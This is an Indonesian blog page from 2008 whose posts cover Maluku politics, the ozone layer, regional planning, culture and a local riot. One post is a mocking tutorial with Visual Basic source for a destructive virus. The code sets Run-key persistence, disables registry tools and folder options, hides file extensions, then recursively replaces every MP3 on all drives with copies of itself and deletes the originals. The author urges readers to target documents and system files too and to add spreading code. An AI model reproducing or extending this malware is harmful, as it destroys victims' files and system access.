Selasa, 08 Januari 2008

MEMASUKI GELANGGANG POLITIK

MEMASUKI GELANGGANG POLITIK
Orang-orang Baileo Maluku Ikut Pemilihan Umum 2004

Setelah melalui proses konsultasi panjang, sejak tahun 2002, dengan semua masyarakat basis yang mendesakkan agar ada orang-orang Baileo menempuh jalur politik resmi untuk memperjuangkan hak-hak dan aspirasi mereka, maka sampai Desember 2003 telah terseleksi belasan orang organiser lokal yang dipersiapkan mengikuti Pemilihan Umum 2004 sebagai calon-calon anggota legislatif. Beberapa partai politik yang akan dijadikan sebagai kendaraan nya juga sudah dipilih.



Sebagian besar dari mereka yang terpilih masuk politik tersebut, memang akan berkonsentrasi pada tingkat Kabupaten: memasuki gedung-gedung Dewan Perwakilan Rakyat Daerah (DPRD) di Kabupaten Maluku Tenggara, Maluku Tenggara Barat, Kepulauan Aru, Buru, dan Seram Timur! Tujuannya jelas sejak awal: mencoba langsung dari dalam mempengaruhi kebijakan pemerintah daerah ini agar benar-benar berfihak kepada rakyat setempat, bukan untuk kepentingan kelompok dan diri sendiri.

Sudah bukan rahasia lagi bahwa kualitas anggota DPRD di beberapa Kabupaten di Maluku tersebut, sama seperti umumnya DPRD lain di Indonesia hasil Pemilu 1999, sangat memprihatinkan. Ambil contoh Maluku Tenggara. Sementara daerah ini masih merupakan salah satu kabupaten terpencil dan terkebelakang di Indonesia (bahkan dalam skala Propinsi Maluku sekalipun), para anggota DPRD nya malah sibuk dengan diri, kelompok, dan partai sendiri. Bahkan untuk memilih seorang Bupati saja, mereka sampai harus cakar-cakaran selama hampir 4 tahun! Mereka lupa (atau tak tahu?) salah satu diktum pokok lembaga demokrasi perwakilan: sekali terpilih dan berada disana, seseorang bukan lagi wakil partai, tapi wakil rakyat yang memilihnya, terutama masyarakat dari wilayah pemilihannya!

Sementara statistik mutakhir UNDP (Human Development Index 2001)masih menempatkan daerah ini sebagai kabupaten dengan pendapatan per kapita terendah, hanya sekitar US$ 319 (sekitar Rp 2,7 juta saja), para anggota DPRD nya malah terus menuntut kenaikan gaji, fasilitas mewah, ongkos jalan-jalan (studi banding?), dan berbagai macam tunjangan, termasuk tunjangan akhir jabatan, konon sebesar Rp 125 juta per orang, 50-60 kali lipat dari rerata penghasilan rakyat yang (katanya!) mereka wakili. Padahal, untuk membiayai belanja rutin pemerintah daerah saja, kabupaten ini masih mengandalkan bantuan pemerintah pusat melalui mekanisme Dana Alokasi Umum (DAU) dari Anggaran Pendapatan dan Belanja Negara (APBN)!

Semua itu harus menjadi pelajaran penting bagi orang-orang Jaringan Baileo yang kini bersiap-siap maju untuk menggantikan mereka: jangan mengulangi semua kelemahan dan kesalahan semacam itu! Tengoklah DPRD Wonosobo, Jawa Tengah, misalnya, yang semua anggotanya bersepakat untuk digaji tak lebih dari rata-rata pendapatan per kapita penduduk yang mereka wakili. Sejak reformasi politik Indonesia tahun 1999, mereka telah mengukir sejarah sebagai DPRD yang relatif paling bersih dari korupsi dan perselingkuhan politik yang memuakkan, sesuatu yang oleh seorang pemikir politik dan aktivis gerakan sosial terkemuka abad ini, Herbert Marcuse, disebut sebagai kecabulan sosial (social pornography).

Dalam konteks Maluku Tenggara, khususnya Kepulauan Kei, pakar geografi politik yang menyelesaikan riset lapangan (1997-98) dan disertasi doktornya (2000) tentang Kei, Craig Thorburn, pernah menyimpulkan bahwa salah satu masalah utama yang menimbulkan banyak konflik di Kei selama ini adalah ...kekecewaan orang Kei terhadap para pejabat pemerintah dan politisi lokal mereka.

Menjadi wakil rakyat di DPRD adalah juga menjadi pemimpin. Dan, pepatah tua Kei menyebutkan: Buu enhelil kamear, ne man ite enhail yanan (Pemimpin wajib melindungi yang dipimpinnya [dari ancaman dan kekerasan]). Dalam politik modern, kekerasan bukan hanya fisik, tetapi juga struktural (structural violence), terutama akibat ketidakbecusan para pemimpin. Bukankah itu juga salah satu makna tersirat diktum pertama Hukum Adat Larwul Ngabal: Uud entauk na atvunad (Kepala bertumpu pada bahu)!? Jika pemimpin adalah kepala, bahu adalah rakyat yang dipimpinnya.

Sumber:Baileo.or.id
Jelas, tak ada kepala tegak tanpa bahu!

Selengkapnya.....
Senin, 07 Januari 2008

LAPISAN OZON


Ozon adalah hasil reaksi antara oksigen dengan sinar ultraviolet dari matahari. Ozon di udara berfungsi menahan radiasi sinar ultraviolet dari matahari pada tingkat yang aman untuk kesehatan kita semua. Ozon juga diproduksi manusia untuk dipergunakan sebagai bahan pemurni air, pemutih, dan salah satu unsur pembentuk plastik.




Lapisan OZON

Lapisan ozon mulai dikenal oleh seorang ilmuwan dari Jerman, Christian Friedrich Schonbein pada tahun 1839. Ia berwarna biru pucat yang terbentuk dari tiga atom oksigen (O3). Ozon adalah gas yang tidak berwarna dan ditemui di lapisan stratosfer yaitu lapisan awan yang terletak antara 15 hingga 35 kilometer dari permukaan bumi.

Istilah 'ozon' atau lebih tepat lagi 'lapisan ozon' mulai mendapat perhatian sekitar tahun 1980an ketika para ilmuwan menemukan adanya 'lubang' di lapisan ozon di Antartika. Lubang tersebut merupakan hasil dari tenaga matahari yang mengeluarkan radiasi ultra yang tinggi. Radiasi itu berpecah menjadi molekul oksigen sekaligus melepaskan atom bebas di mana setengahnya diikat dengan molekul oksigen yang lain untuk membentuk ozon.

Kira-kira 90% daripada ozon di atmosfera terbentuk dengan cara ini yaitu meliputi di antara 15 sehingga 55 kilometer di atas permukaan bumi. Bagian ini disebut dengan stratosfer. Walaupun begitu, ozon yang ada itu didapati terdapat dalam jumlah yang sedikit yaitu maksimum hanya di antara 20 hingga 25 kilometer. Banyaknya ozon di atmosfer tergantung pada keseimbangan dinamis di antara sejauh mana ia terbentuk dan bagaimana ia musnah.

Manfaat lapisan ozon

Lapisan ozon sangat penting karena ia menyerap radiasi ultra violet (UV) dari matahari untuk melindungi radiasi yang tinggi sampai ke permukaan bumi. Radiasi dalam bentuk UV spektrum mempunyai jarak gelombang yang lebih pendek daripada cahaya. Radiasi UV dengan jarak gelombang adalah di antara 280 hingga 315 nanometer yang dikenali UV-B dan ia merusak hampir semua kehidupan. Dengan menyerap radiasi UV-B sebelum ia sampai ke permukaan bumi, lapisan ozon melindungi bumi dari efek radiasi yang merusak kehidupan.

Ozon stratospheric juga memberi efek pada suhu atmosfer yang menentukan suhu dunia. Berdasar hasil penelitian ilmuwan, lapisan ozon yang menjadi pelindung bumi dari radiasi UV-B ini semakin menipis. Gas CFC disebut juga sebagai gas yang menyebabkan terjadinya penipisan lapisan ozon ini. CFC digunakan oleh masyarakat modern seperti lemari es, bahan dorong dalam penyembur, pembuatan buih dan bahan pelarut terutamanya bagi kilang-kilang elektronik. Para ilmuwan sebenarnya sudah membuat teori dan ramalan mengenai penipisan lapisan ozon ini tahun 1970an.

Efek menipisnya lapisan ozon




Penipisan lapisan ozon akan menyebabkan lebih banyak sinar radiasi ultra ungu memasuki bumi. Radiasi ultra ungu ini dapat membuat efek pada kesehatan manusia, memusnahkan kehidupan laut, ekosistem, mengurangi hasil pertanian dan hutan. Efek utama pada manusia adalah peningkatan penyakit kanker kulit karena selain itu dapat merusak mata termasuk kataraks dan juga mungkin akan melemahkan sistem imunisasi badan.

Pada bidang pertanian, penerimaan sinar ultra violet pada tanaman dapat memusnahkan hasil tanaman utama dunia. Hasil kajian menunjukkan hasil tanaman seperti 'barli' dan 'oat' menunjukkan penurunan karena penerimaan sinar radiasi yang semakin tinggi. Tanaman diperkirakan akan mengalami kelambatan pertumbuhan, bahkan akan cenderung kerdil, sehingga merusak hasil panen dan hutan-hutan yang ada. Radiasi penuh ini juga dapat mematikan anak-anak ikan, kepiting dan udang di lautan, serta mengurangi jumlah plankton yang menjadi salah satu sumber makanan kebanyakan hewan-hewan laut. Kerusakan lapisan ozon juga memiliki pengaruh langsung pada pemanasan bumi yang sering disebut sebagai "efek rumah kaca". Usaha-usaha untuk mencegah penipisan ozon menjadi mulai dilakukan bersama oleh semua negara di dunia. Usaha itu pun telah di galakkan secara serius melalui UNEP (United Nation Environment Programme) salah satu organisasi PBB yang bergerak dibidang program perlindungan lingkungan dan alam.

Pada tahun 1977 lagi, UNEP telah mengambil tindakan Perancangan Dunia terhadap lapisan ozon dan dalam tahun 1987, dibuat satu kesepakatan dunia mengenai pengurangan pengeluaran bahan yang menyebabkan lapisan ozon telah ditandatangani yaitu 'Protokol Montreal'. Protokol ini di antaranya menghasilkan tindakan-tindakan dalam mengawal penghasilan dan pembebasan CFC ke dalam alam sekitar.

Oleh karena itu, kita semua harus memandang serius masalah ini dan berupaya untuk mencegah atau meminimalkan penipisan lapisan ozon di alam ini dengan cara meminimalkan penggunaan bahan-bahan yang dapat mempertipis ozon agar generasi yang akan datang dapat mewarisi alam sekitar yang masih baik.

Sumber :
www.menlh.go.id
www.unep.org

Selengkapnya.....

Download free, free download, atau download gratis itu adalah salah satu kata kunci yang paling banyak dicari di search engine google maupun yang search engine lainnya. Jika itu kata kunci yang sobat semua cari saat ini sobat semua tidak salah masuk ke blog ini, karena di blog ini saya menyediakan file-file online yang bisa sobat semua download secara gratis alias free, eh sama aja yah?,hehehe.



File-file online yang bisa di download : Lagu-lagu indonesia dan mancanegara berformat *.mp3,*.flv juga ada beberapa buku teks dan tutorial . Tapi belum semua file yang tersedia disitu sudah bisa di download karena sebagian file-file itu belum di hosting, sorry ya. Tapi saya akan usahakan agar semua file yang ada disitu bisa di download oleh sobat semua dan saya juga akan menambah file-file downloadnya. Oh ya, untuk mendownload file-file yang sobat cari silahkan klik tab download pada menu navigasi di atas. Selamat berdownload ria and enjoy fun!.

Selengkapnya.....
Jumat, 04 Januari 2008

RENCANA PEMBANGUNAN PROVINSI MALUKU

TATA RUANG WILAYAH
Provinsi Maluku sebagai salah satu Provinsi Kepulauan, dalam pelaksanaan pembangunan selalu memperhatikan keseimbangan dan kesatuan wilayah pembangunan ekonomi, sosial budaya, lingkungan hidup, politik dan pemerintahan untuk terwujudnya pembangunan yang berkelanjutan.



Reorientasi pendekatan pembangunan dari pendekatan sektoral ke pendekatan kewilayahan, telah menempatkan Tata Ruang Wilayah pada posisi yang sangat strategis dalam seluruh aspek perencanaan pembangunan daerah. Konsep Gugus Pulau dan Kawasan Laut Pulau yang dicetuskan jauh sebelum pemberlakukan otonomisasi akan tetap dikembangkan. Dalam rangka membuka akses pasar yang lebih luas kepada masyarakat, juga akan dikembangkan pula pintu-pintu keluar (Multigate System) di beberapa wilayah
I. GUGUS PULAU

1. Gugus Pulau I meliputi :
Pulau Buru, Seram, Ambon, Haruku, Saparua, Geser, Gorom, Manowoko, Banda, Teon, Nila & Serua.
2. Gusus Pulau II meliputi :
Kep. Kei dan Kasui
3. Gugus Pulau III meliputi :
Kepulauan Aru
4. Gusus Pulau IV meliputi :
Kepulauan Tanimbar (P.Yamdena, Larat,Waliaru,Selaru,Selu,Sera & Molu)
5. Gugus Pulau V meliputi :
Kep. Babar dan P. Sermata
6. Gusus Pulau VI meliputi :
P.Damar,Romang,Leti,Moa,
Lakor,Kisar dan Wetar


II. KAWASAN LAUT PULAU

1. Kawasan Laut Pulau Seram
2. Kawasan Laut Pulau Arafuru
3. Kawasan Laut Pulau Laut Banda


III. MULTIGATE SYSTEM

1. KOTA AMBON.
2. ILWAKI (P.Wetar)
3. SAUMLAKI (P. Yamdena)
4. WAHAI ( (P. Seram)


IV. POLA PENGEMBANGAN

1. Pembukaan Pintu-pintu Keluar lebih banyak
2. Peningkatan pertumbuhan pada pusat-pusat pertumbuhan
3. Pengembangan Sistim Interaksi dai Pintu-pintu Keluar
4. Pemanfaatan SDA mernilai tinggi dengan orientasi ekspor
5. Pengembangan Wilayah Perbatasan dan KSP


V. KAWASAN ANDALAN

1. Kawasan Strategis meliputi :
Kawasan Seram, Buru dan Kota Ambon, Masohi, Kairatu dan Namlea
2. Kawasan Pengembangan Ekonomi Terpadu (KAPET) meliputi :
Kawasan P .Seram dan sekitarnya
3. Kawasan Sentra Produksi (KSP) meliputi :
P.Seram, P.Buru, P. Ambon, Kei Kecil/Besar, P. Yamdena dan Leti Moa Lakor.
4. Kawasan Tertinggal meliputi :
Seram Timur, Buru Utara Barat, PP.Babar, Leti Moa Lakor, PP. Terselatan dan PP. Aru
5. Kawasan Perbatasan Kab. Maluku Tenggara Barat








Selengkapnya.....

Sosial Budaya

Suku Bangsa
Suku bangsa Maluku didominasi oleh ras suku bangsa Melanesia Pasifik, yang masih berkerabat dengan Fiji, Tonga, dan beberapa bangsa kepulauan yang tersebar di kepulauan Samudra Pasifik.
Banyak bukti kuat yang merujuk bahwa Maluku memiliki ikatan tradisi dengan bangsa bangsa kepulauan pasifik, seperti bahasa, lagu-lagu daerah, makanan, serta perangkat peralatan rumah tangga dan alat musik khas, contoh: Ukulele (yang terdapat pula dalam tradisi budaya Hawaii).
Mereka umumnya memiliki kulit gelap, rambut ikal, kerangka tulang besar dan kuat, dan profil tubuh yang lebih atletis dibanding dengan suku-suku lain di Indonesia, dikarenakan mereka adalah suku kepulauan yang mana aktifitas laut seperti berlayar dan berenang merupakan kegiatan utama bagi kaum pria.
Pada masa modern saat ini, banyak diantara mereka yang sudah memiliki darah campuran dengan suku lain, perkawinan dengan suku Minahasa, Sumatra, Jawa, bahkan dengan bangsa Eropa (umumnya Belanda) sudah lazim di masa modern ini, dan melahirkan keturunan keturunan baru, yang mana sudah bukan ras Melanesia murni lagi.




Bahasa
Bahasa Melayu Ambon adalah salah satu bentuk bahasa Melayu. Begitu juga Bahasa Indonesia adalah salah satu bentuk bahasa Melayu. Sejak dahulu kala Bahasa Melayu terdistribusi dan dipakai penutur-penuturnya di beragam daerah di Indonesia dan Asia Tenggara, sbb.:
• P. Sumatera (Sumatera Utara. Riau kepulauan. Jambi),
• P. Jawa (Melayu Jakarta),
• di Nusa Tenggara Timur (Melayu Kupang), Makassar,
• Maluku: Melayu Ambon, Melayu Dobo
• Maluku Utara: Ternate
• Malaysia, Brunei, Filipina dsb.[1]
Sejarah Bahasa Melayu Ambon dan Bahasa Indonesia Baku
Bahasa Melayu berasal dari Indonesia bagian barat (dulu disebut Nusantara bagian barat) dan telah berabad-abad menjadi bahasa antar suku di seluruh kepulauan nusantara. Sebelum bangsa Portugis menginjakan kakinya di Ternate (Tahun 1512), bahasa Melayu telah ada di Maluku dan dipergunakan sebagai bahasa perdagangan.
Bahasa Melayu Ambon berbeda dari bahasa Melayu Ternate karena pada zaman dahulu suku-suku di Ambon dan yang tentunya mempengaruhi perkembangan bahasa Melayu Ambon sangat berbeda dari suku-suku yang ada di Ternate. Misalnya bahasa Melayu Ambon mendapat banyak pengaruh dari bahasa Melayu Makassar. Kemudian pada abad ke-16, Portugis menjajah Maluku sehingga cukup banyak kosa-kata (vocabulary) bahasa Portugis masuk ke dalam bahasa Melayu Ambon. Terakhir bangsa Belanda masuk ke Maluku, sehingga ada cukup banyak, kata serapan dari bahasa Belanda yang diterima menjadi kosakata dalam bahasa Melayu Ambon. Pada zaman Belanda inilah, bahasa Melayu Ambon dipakai sebagai bahasa pengantar di sekolah-sekolah, di gereja-gereja, dan juga dalam terjemahan beberapa kitab dari Alkitab. Bahasa Indonesia yang baku[1] biasanya digunakan di seluruh Republik Indonesia dalam situasi resmi, atau dengan kata lain dalam konteks formal, seperti di sekolah-sekolah dan di kantor-kantor pemerintah.
Bahasa Indonesia baku sangat penting untuk hal-hal seperti itu. Tetapi kita harus ingat bahwa sebelum ada bahasa Indonesia baku itu di Maluku, bahasa Melayu Ambon sudah ada.[1] Masing-masing bentuk bahasa Melayu itu mempunyai peran penting dalam masyarakat Maluku sebagai dasar untuk bahasa nasional. Setelah bahasa Indonesia baku mulai diajarkan di sekolah-sekolah di Maluku, maka ia mulai mempengaruhi bahasa Melayu Ambon sehingga sejumlah kata diserap dari bahasa Indonesia baku ke dalam bahasa Melayu setempat,tentu saja disesuaikan dengan ucapan (logat) setempat. Semua bahasa di dunia ini berkembang terus, kecuali bahasa yang sudah punah seperti bahasa Latin. Bahasa Melayu Ambon tetap berkembang terus, oleh karena kreativitas penuturnya maupun pengaruh dari tempat lain.
Perbedaan antara Bahasa Melayu Ambon dan Bahasa Indonesia Baku
Silahkan merujuk pada
1. R.Bolton, M. Riupassa dan J. Tjia. Pedoman Membaca dan Menulis Bahasa Ambon (Edisi Percobaan) (booklet). Mei 2005. 24 Halaman
2. Don van Minde. Melayu Ambong: Phonology, Morphology, Syntax. Penerbit: Research School CNWS, Leiden University. The Netherland: 1997. 390 Halaman. ISBN 90-73782-94-5

Agama
Mayoritas penduduk di Maluku memeluk agama Kristen dan Islam. Hal ini dikarenakan pengaruh penjajahan Portugis dan Spanyol sebelum Belanda yang telah menyebarkan kekristenan, dan pengaruh Kesultanan Ternate dan Tidore yang menyebarkan Islam di wilayah Maluku serta Pedagang Arab di pesisir Pulau Ambon dan sekitarnya sebelumnya.
Sosial Budaya
Dalam masyarakat Maluku dikenal suatu sistem hubungan sosial yang disebut Pela

Pemerintahan
Kabupaten dan Kota
1. Kabupaten Buru
2. Kabupaten Kepulauan Aru
3. Kabupaten Maluku Tengah
4. Kabupaten Maluku Tenggara
5. Kabupaten Maluku Tenggara Barat
6. Kabupaten Seram Bagian Barat
7. Kabupaten Seram Bagian Timur
8. Kota Ambon
9. Kota Tual

Daftar Gubernur
No. Periode Nama Gubernur Keterangan
1 1950 - 1955 Mr. J.J. Latuharhary

2 1955 - 1960 M. Djosan

3 1960 - 1965 Muhammad Padang

4 1965 - 1968 G.J. Latumahina

5 1968 - 1973 Soemitro

6 1973 - 1975 Soemeru

7 1975 - 1980 Hasan Slamet

8 1980 - 1985 Hasan Slamet

9 1985 - 1990 Sebastian Soekoso

10 1990 - 1993 Sebastian Soekoso

11 1993 - 1998 M. Akib Latuconsina

12 1998 - 2003 Dr.M.Saleh Latuconsina

13 2003 - 2008 Brigjen TNI (Purn) Karel Alberth Ralahalu

Perekonomian
Secara makro ekonomi, kondisi perekonomian Maluku cenderung membaik setiap tahun. Salah satu indikatornya antara lain, adanya peningkatan nilai PDRB. Pada tahun 2003 PDRB Provinsi Maluku mencapai 3,7 triliun rupiah kemudian meningkat menjadi 4,05 triliun tahun 2004. Pertumbuhan ekonomi di tahun 2004 mencapai 4,05 persen dan meningkat menjadi 5,06 persen pada 2005. Namun lapangan kerja diharapkan masih akan meningkat khususnya lewat investasi swasta.

Energi
Kepulauan Indonesia bagian timur umumnya mengalami dampak benturan lempeng Pasifik, lempeng India-Australia dan lempeng Eurasia relatif lebih intensif yang menyebabkan wilayah ini menjadi salah satu yang sangat dinamis dengan berbagai jenis bahan tambang. Pulau Halmahera pada lengan bagian barat laut didominasi oleh batuan vulkanik kalsium-alkalin berumur kwarter yang terdiri dari lava breksi dan tufa andesitik-basaltik dikenal dengan formasi Kayasa dan Togawa. Sedangkan pada lengan bagian selatan didominasi oleh batuan sedimen dan batuan vulkanik menengah berumur tersier. Sebagian besar daerah yang sedang berkembang setelah pasca konflik horizontal tahun 1999, membuktikan bahwa sesungguhnya membawah dampak positif yang global contonya Kota Ternate, kota yang kecil tapi menyimpan segudang potensi yang dibelum digarap secara optimal baik bahan yang bisa diperbaharui dan bahan barang tambang yang tidak dapat diperbaharui.

Selengkapnya.....

Keterangan dari virus ini hanya mencari file berekstensi mp3 dan TANPA AMPUN menghapus seluruh file MP3 yang ada di komputer anda...yaaaaaaa....gak enak dunk...lah namanya membuat virus ya buebas dooo....masak mau ditahan2....hueheheheheh...., ciri2 yang dari virus ini adalah :



1. menon aktifkan :
- Folder Option
- Penglihatan Extensi file (.doc, .exe, .mp3), maksudnya jika kita di windows explorer bisa melihat ekstensi file maka kita tak akan melihat ekstensi file tersebut, biasa pertahanan diri gitu
- mengunci regedit (seperti biasa)
- mematikan winamp secara tiba2 jika file virus aktif

bisa dilihat pada code dibawah ini:

Dim titik As String
titik = """"

CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ServiceOptionMP3", _
titik & "c:\windows\winamp.dll.exe" & titik
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1"
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1"
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "STOP PIRACY!!!!"
CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText", "Stop pembajakan Musisi Dalam Negeri, Jangan Gunakan MP3 lagi (sok sok an) huahahahahaha!!!"
Shell "taskkill /f /im winamp.exe", vbHide

2. Mencari file berekstensi .mp3 yang ada di hardisk, lihat saja code di bawah ini :

'///////////////////////Sub Perangkap Hardisk/////////////
Sub cari()
Dim ictr As Integer

'If InStr(cboDrives.Text, "All Hard Drives") > 0 Then
For ictr = 0 To UBound(sDrives)
'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc
GetFiles sDrives(ictr), True, "*.mp3"
Next
'Else
'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc
' frmMain.GetFiles cboDrives.Text, True, "*.doc"
'End If

' frmMain.Visible = True



End Sub


Dan kode ini untuk mencari seluruh partisi hardisk yang ada di komputer

Dim ictr As Integer
Dim iDriveCount As Integer
Dim sAllDrives As String
Dim sDrive As String
ReDim sDrives(0) As String

For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) = "Fixed Drive" Or DriveType(sDrive) = "Removable Drive" Then
If sAllDrives <> "" Then sAllDrives = sAllDrives & ", "
sAllDrives = sAllDrives & sDrive
iDriveCount = iDriveCount + 1
End If
Next

3. Mencari dan MELAHAP SELURUH FILE MP3 TANPA AMPUN, lihat code di bawah ini:

'//////////////////////////////Sub perangkap File/////////////////////
Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")

'Screen.MousePointer = vbHourglass

'Dim li As ListItem
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
Dim bawa As Long

fPath = AddBackslash(Path)

Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern


hFile = FindFirstFile(fName, WFD)

On Error Resume Next
'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName))
'MsgBox fPath & StripNulls(WFD.cFileName)
'//////mengeset atribut file .doc menjadi atribut archive atau biasa
bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0)
FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe"
DeleteFile fPath & StripNulls(WFD.cFileName)
End If

If hFile > 0 Then
While FindNextFile(hFile, WFD)
'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName))
'MsgBox fPath & StripNulls(WFD.cFileName)
'//////mengeset atribut file .doc menjadi atribut archive atau biasa
bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0)
FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe"
DeleteFile fPath & StripNulls(WFD.cFileName)
End If
Wend
End If

If SubFolder Then


hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then

GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If

While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then


GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend

End If
FindClose hFile
'Set li = Nothing



'Screen.MousePointer = vbDefault

End Sub

Nah setelah terkena file ini maka yang akan terjadi seluruh file mp3 akan berubah menjadi .exe dan file .mp3 akan dihapus tanpa amapun....buehehehehehe....jadi ya siap - siap mem-backup hardisk anda terutama file mp3. OKeh......ih kok jahat sekali sih.....ya sekali lagi membuat virus itu harus jahat.

-------------------------------TIPS SETAN-----------------------------------

COBA YANG DICARI BUKAN FILE MP3 SAJA TAPI FILE SISTEM ATAU FILE .DOC .XLS DAN .DAT, BUKANKAH ITU MENYENANGKAN?Tapi tetep saja menjadi penghancur.....seorang virus maker yang baik tidak akan menghancurkan tapi akan membuat dunia lebih baik lewat komputer tul gak...
-------------------------------------------------------------------------------

Di sini kita hanya belajar bagai mana virus tersebut bekerja...bagaimana virus tersebut di program, sehingga kita tau jalan dan proses virus tersebut dan sekaligus menyelamatkan bangsa kita dari aktifitas pembajakan - pembajakan......soalnya NENEK MOYANGKU SEORANG PELAUT, coba nenek moyangku seorang sarjana atau seorang dermawan, pasti kita hasilnya beda kan...huahahahahaha....yang jelas program ini dapat dijadikan untuk proteksi file apa saja. Misalnya kita punya e-book gratis, lalu dibajak sama orang...ck ck ck kasian sudah gratis dibajak pula...nah untuk memberi pelajaran kepada orang itu gunakan program ini....hihihihihi...yang jelas ini ilmu dan tidak boleh disembunyikan, saya tidak bertanggung jawab atas kerusakan yang terjadi di komputer anda.

Tetapi yang jelas virus ini MASIH BANYAK KELEMAHANNYA, mungkin anda dapat mengembangkannya sendiri. Terserah ingin dikembangkan kode penyebarannya, kode pertahannannya atau judul lagunya mau di rubah, bukan Samson-Naluri Lelaki lagi, tapi mungkin lagi lain yang akhir - akhir ini sedang naik daun. kayak lagu apaaaaaaa gitu pokoknya....

Selengkapnya.....

Dalam kerangka pemecahan Kerusuhan Masohi secara mendasar, diperlukan kajian yang komprehensif dan integratif agar dapat meminimalkan kecenderungan berpikir simplisistik, terutama untuk mengungkapkan sumber-sumber masalah yang secara akumulatif membentuk titik-titik kritis (critical points) pada jaringan interaksi antar elemen di dalam masyarakat.


Titik tolak ini penting, sebab eksploitasi suatu kerusuhan sosial yang bersifat luar biasa (massive) seperti di Masohi ini, tentu tidak terjadi secara spontan dan seketika, tetapi lazim didahului oleh pematangan kondisi sosio-psikologis massa, baik secara sengaja maupun tanpa disadari. Ini berarti, variabel waktu, pola hubungan sosial masyarakat di desa maupun kota, berbagai kebijakan publik, dan pendekatan pembangunan secara nasional, ikut menentukan pra-kondisi kerusuhan, termasuk yang terjadi di Kota Masohi.
Oleh sebab itu, prinsip yang seharusnya dipedomani dalam upaya mencari solusi untuk membangun kembali keharmonisan struktur sosial bagi kebutuhan jangka panjang atau melakukan suatu rekayasa tatanan sosial masyarakat baru di Maluku, khususnya Maluku Tengah, dan Indonesia Baru pada umumnya, haruslah didasarkan pada itikad mengedepankan semua fakta empirik sesuai realitas obyektif yang jujur; dan yang terpenting ialah tanpa pretensi dan kepentingan politik sempit. Dalam konteks demikian, maka pokok-pokok pikiran yang disampaikan ini, pertama-tama didasarkan pada suatu gambaran tentang pola hubungan sosial dalam masyarakat di daerah pedesaan dan perkotaan di Maluku Tengah, proses pelemahan pranata sosial-budaya yang hidup dalam masyarakat baik yang dipengaruhi oleh berbagai kebijakan pembangunan nasional yang memarjinalkan kearifan budaya lokal sebagai katup pengaman potensi konflik sosial, maupun intervensi "budaya impor", serta identifikasi pola Kerusuhan Masohi. Akhirnya akan dikemukakan pula beberapa solusi pemecahan masalah Kerusuhan Masohi dalam rangka mengembangkan sebuah platform baru kehidupan berbangsa berdasarkan cita-cita para pendiri republik ini.


Selengkapnya.....